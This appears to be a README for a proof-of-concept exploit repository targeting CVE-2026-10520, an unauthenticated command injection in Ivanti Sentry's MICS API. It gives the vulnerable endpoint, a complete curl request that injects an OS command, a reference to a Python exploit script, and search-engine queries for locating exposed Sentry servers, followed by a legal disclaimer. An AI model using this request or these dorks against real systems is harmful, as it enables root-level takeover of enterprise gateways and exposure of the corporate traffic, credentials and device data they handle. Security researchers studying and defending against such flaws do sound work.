error-inside/cve-2026-10520Root-Level RCE via OS Command Injection in Ivanti Sentry
Ivanti Sentry (formerly MobileIron Sentry) is an enterprise security gateway that proxies traffic between mobile devices and corporate backend resources: email, SharePoint, and internal web applications. It enforces Mobile Device Management (MDM) policies, terminates encrypted mobile sessions, and issues certificate-based authentication for enterprise app deployments. Sentry instances are typically internet-facing on port8443, exposing the MICS (Mobile Iron Configuration Service) administration API.
CVE-2026-10520 is an unauthenticated OS command injection vulnerability
affecting Ivanti Sentry before R10.5.2, R10.6.2, and R10.7.1
(CVSSv3.1: 10 Critical, listed in CISA KEV). The flaw is in the MICS API
endpoint /mics/api/v2/sentry/mics-config/handleMessage, which accepts
XML-wrapped system commands via a URL-encoded message POST body
without any authentication or input validation. An attacker who reaches a
vulnerable endpoint can execute arbitrary OS commands as , obtaining
full control of the host — including decrypted enterprise traffic, stored
credentials, and all managed mobile-device data.
# Inject 'id' command via MICS handleMessage endpoint (no authentication required)
curl -sk -X POST "http://example.com:8443/mics/api/v2/sentry/mics-config/handleMessage" \
-H "User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)" \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "Connection: close" \
--data-urlencode "message=execute system /configuration/system/commandexec <commandexec><index>1</index><reqandres>id</reqandres></commandexec>"
python CVE-2026-10520-X7.py
title:"Ivanti System Manager: Sign In"body="sentry" && body="System Manager" && port="8443", title="Ivanti System Manager: Sign In", icon_hash=="1407597555"http.html:"Ivanti Standalone Sentry System Manager" port:8443 , http.title:Ivanti port:8443, http.html:"Ivanti" http.html:"Sentry" port:8443This repository and its contents are provided strictly for legitimate security research, authorized penetration testing, educational study, and defensive purposes. By accessing or using this material, you acknowledge full responsibility for ensuring your activities comply with all applicable laws and that you have obtained proper authorization before testing or applying these techniques against any system you do not own.
The authors and maintainers of this project assume no liability for any damages, legal consequences, or misuse resulting from the application of this information. Any use for unauthorized access, malicious activity, or illegal purposes is expressly prohibited and unsupported.
Use responsibly. Stay legal. Test only what you own or have explicit written permission to test.
SCT-PL